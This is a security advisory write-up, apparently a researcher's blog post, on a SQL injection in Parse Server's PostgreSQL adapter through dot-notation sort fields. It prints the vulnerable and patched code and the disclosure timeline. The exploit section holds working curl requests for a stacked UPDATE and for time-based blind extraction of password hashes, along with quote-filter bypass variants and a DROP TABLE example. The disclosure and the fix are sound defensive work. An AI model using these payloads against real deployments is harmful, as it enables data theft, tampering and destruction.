CVE-2026-31840: Parse Server SQL Injection via Dot-Notation Field Name
TL;DR — Parse Server — 21,000+ GitHub stars, 23,000+ weekly npm downloads, the open-source backend that Facebook built and the community adopted — has a SQL injection vulnerability in its PostgreSQL adapter. An attacker can use a dot-notation field name in the sort query parameter to break out of a quoted string and inject arbitrary SQL into the database. Also affects distinct and where parameters that use dot-notation. Only PostgreSQL deployments are affected, but the injection is unauthenticated. CVSS 9.3. No workaround. Assigned CVE-2026-31840.
why this matters
This is the third Parse Server advisory I've reported in the same week. CVE-2026-30966 was a CVSS 10.0 in the _Join table access model. CVE-2026-30949 was an authentication bypass in the Keycloak adapter. This one is a different beast entirely — a classic SQL injection, the kind you'd think a mature project would have ironed out years ago.
The thing about SQL injection is that it's the worst-case scenario for a database-backed application. It's not just data leakage. It's arbitrary reads, arbitrary writes, data destruction, and in many PostgreSQL configurations, command execution on the host. When the injection point requires no authentication — just the REST API key embedded in every client — the attack surface is every user of every app built on Parse Server with a PostgreSQL backend.
the root cause
Parse Server supports dot-notation for querying into JSON/object fields. If you have a field called data containing {"key": "value"}, you can sort by data.key. Under the hood, the PostgreSQL adapter translates this into PostgreSQL's JSON accessor syntax: "data"->'key'.
The translation happens in transformDotFieldToComponents in PostgresStorageAdapter.js:
const transformDotFieldToComponents = fieldName => {
return fieldName.split('.').map((cmpt, index) => {
if (index === 0) {
return `"${cmpt}"`; // First component: double-quoted identifier
}
if (isArrayIndex(cmpt)) {
return Number(cmpt); // Numeric index
} else {
return `'${cmpt}'`; // Sub-field: single-quoted string literal ← NO ESCAPING
}
});
};
The first component (the column name) gets wrapped in double quotes. Sub-field names get wrapped in single quotes. Neither is escaped. The column name is somewhat protected because Parse Server validates field names elsewhere. But the sub-field value — everything after the first dot — is taken directly from user input and dropped into a single-quoted SQL string literal with no sanitization whatsoever.
A single quote in the sub-field name breaks out of the string literal. Everything after it is interpreted as raw SQL.
Here's how the sort parameter uses this function to build the ORDER BY clause:
if (sort) {
const sortCopy = sort;
const sorting = Object.keys(sort)
.map(key => {
const transformKey = transformDotFieldToComponents(key).join('->');
if (sortCopy[key] === 1) {
return `${transformKey} ASC`;
}
return `${transformKey} DESC`;
})
.join();
sortPattern = `ORDER BY ${sorting}`;
}
The transformed key is concatenated directly into the SQL query string. No parameterized queries. No escaping. The final query looks like:
SELECT * FROM "MyClass" WHERE ... ORDER BY "data"->'key' ASC
If an attacker sends data.x' ASC; DROP TABLE "MyClass"-- as the sort field, it becomes:
SELECT * FROM "MyClass" WHERE ... ORDER BY "data"->'x' ASC; DROP TABLE "MyClass"--' ASC
The single quote closes the string literal. The semicolon terminates the SELECT. The -- comments out the trailing junk. Classic stacked query injection.
the exploit
The Parse Server REST API accepts sort parameters via the order query string. Dot-notation is parsed on the server side. No authentication beyond the application ID and REST API key is required — and those are embedded in every client-side application.
basic injection: stacked query UPDATE
Overwrite data in an arbitrary table with a single GET request:
# Inject a stacked UPDATE query via the sort parameter
curl -s -G "http://localhost:1337/parse/classes/InjectionTest" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode "order=data.x' ASC; UPDATE \"InjectionTest\" SET name = 'hacked' WHERE true--"
The generated SQL:
SELECT * FROM "InjectionTest"
ORDER BY "data"->'x' ASC; UPDATE "InjectionTest" SET name = 'hacked' WHERE true--' ASC
Every row in the table now has name = 'hacked'. One request. No master key.
blind injection: time-based data exfiltration
If stacked queries are disabled (some PostgreSQL poolers don't support them), the attacker can use time-based blind injection via pg_sleep:
# Time-based blind injection — if the first character of a password hash
# is 'a', the query sleeps for 3 seconds
curl -s -G "http://localhost:1337/parse/classes/InjectionTest" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode "order=data.x' ASC; SELECT CASE WHEN (SELECT substring(_hashed_password,1,1) FROM \"_User\" LIMIT 1)='a' THEN pg_sleep(3) ELSE pg_sleep(0) END--"
If the response takes 3 seconds, the first character is 'a'. Repeat for each character. Automate it. Extract every password hash, every session token, every piece of data in the database.
quoting bypass variants
Even if you tried to filter single quotes (which Parse Server does not), PostgreSQL offers alternative quoting mechanisms that an attacker could leverage. Dollar-sign quoting requires no single quotes at all:
# Dollar-sign quoting bypass — no single quotes needed in the injected value
curl -s -G "http://localhost:1337/parse/classes/InjectionTest" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode "order=data.x' ASC; UPDATE \"InjectionTest\" SET name = \$\$hacked\$\$ WHERE true--"
And CHR() concatenation builds strings from ASCII codes without any quoting:
# CHR() concatenation — builds the string 'hack' without quotes
curl -s -G "http://localhost:1337/parse/classes/InjectionTest" \
-H "X-Parse-Application-Id: APP_ID" \
-H "X-Parse-REST-API-Key: REST_KEY" \
--data-urlencode "order=data.x' ASC; UPDATE \"InjectionTest\" SET name = CHR(104)||CHR(97)||CHR(99)||CHR(107) WHERE true--"
The fix needed to handle all of these.
injection via distinct and where
The same transformDotFieldToComponents function is called whenever dot-notation field names are processed. The sort parameter is the most direct injection vector, but the vulnerability also affects distinct queries and where clauses that use dot-notation on JSON fields. Anywhere the unescaped sub-field value ends up in a SQL string, it's injectable.
impact
This is textbook CWE-89, and the impact is what you'd expect from unrestricted SQL injection in a production database:
| Attack | Impact | Requirements |
|---|---|---|
| Data exfiltration | Read any table in the database, including _User (password hashes, session tokens, email addresses). | REST API key only |
| Data modification | UPDATE/INSERT/DELETE on any table. Overwrite data, create backdoor accounts, destroy records. | REST API key only |
| Authentication bypass | Extract session tokens from _Session or password hashes from _User. Forge access to any account. | REST API key only |
| Denial of service | DROP tables, corrupt data, run pg_sleep to exhaust connection pool. | REST API key only |
| Potential RCE | If PostgreSQL is configured with COPY TO/FROM PROGRAM or extensions like pg_execute_server_program, command execution on the database host. | REST API key + permissive PG config |
The REST API key is not a secret. It's shipped in every client-side application. The CVSS vector reflects this: AV:N/AC:L/AT:N/PR:N/UI:N — network-accessible, low complexity, no privileges required, no user interaction.
Only PostgreSQL deployments are affected. MongoDB uses a completely different adapter that doesn't build SQL strings. But Parse Server's documentation recommends PostgreSQL for production, and many large deployments use it.
the fix
The patch is minimal and surgical. In transformDotFieldToComponents, the fix escapes quotes in both the double-quoted column identifier and the single-quoted sub-field value:
const transformDotFieldToComponents = fieldName => {
return fieldName.split('.').map((cmpt, index) => {
if (index === 0) {
return `"${cmpt.replace(/"/g, '""')}"`; // Escape double quotes
}
if (isArrayIndex(cmpt)) {
return Number(cmpt);
} else {
return `'${cmpt.replace(/'/g, "''")}'`; // Escape single quotes
}
});
};
The standard SQL escaping: double a quote character to include it literally. ' becomes '', " becomes "". An injected single quote no longer breaks out of the string literal — it becomes a literal quote character inside the string.
The test suite adds seven test cases covering stacked queries, pg_sleep time-based injection, dollar-sign quoting, tagged dollar quoting, CHR() concatenation, and backslash escape bypasses. All confirmed that the injection is blocked after the fix while legitimate dot-notation queries continue to work.
Patched versions:
- Parse Server 9: 9.6.0-alpha.2
- Parse Server 8: 8.6.28
There is no known workaround. If you run Parse Server on PostgreSQL, update immediately.
the broader pattern
This vulnerability is a case study in why you don't build SQL strings by concatenation, no matter how "internal" the function feels. transformDotFieldToComponents is a utility function buried in the storage adapter. It was probably written to handle a simple case — splitting data.key into "data"->'key' — and the developer assumed the input would always be a clean field name. But the function sits on the path between user-controlled input (the order query parameter) and a raw SQL string, with nothing in between to validate or sanitize.
The broader pattern I keep seeing in ORMs and database adapters: parameterized queries are used for values, but structural elements like column names, sort orders, and identifiers are still built by string concatenation. This makes sense from the developer's perspective — you can't parameterize a column name in SQL. But it means every code path that translates user input into a structural SQL element needs its own escaping, and if any single path misses it, you get injection.
Parse Server's PostgreSQL adapter uses pg-promise with parameterized values for WHERE clause comparisons. The $1, $2 placeholders work correctly there. But the ORDER BY clause can't use value parameters for column references, so the adapter builds it by concatenation. The dot-notation expansion was the gap. The same function is used in WHERE, ORDER BY, and DISTINCT contexts, meaning one missing escape propagated across multiple query types.
This is the kind of bug that static analysis should catch — user input flowing into a SQL string without parameterization or escaping. But the data flow crosses multiple functions and isn't obvious without tracing the full path from the REST handler through the query builder to the storage adapter.
disclosure timeline
| Date | Event |
|---|---|
| Mar 8, 2026 | Vulnerability reported to parse-community via GitHub Security Advisory |
| Mar 9, 2026 | Maintainer confirmed the vulnerability and developed fix |
| Mar 9, 2026 | Patched versions released (9.6.0-alpha.2, 8.6.28) |
| Mar 10, 2026 | CVE-2026-31840 assigned by GitHub. CVSS 9.3 (Critical). |
Three advisories in three days. Credit to the Parse Server maintainers — specifically @mtrezza — for the consistently fast turnaround on confirmation and patching.
This vulnerability was reported through responsible disclosure to the parse-community security team.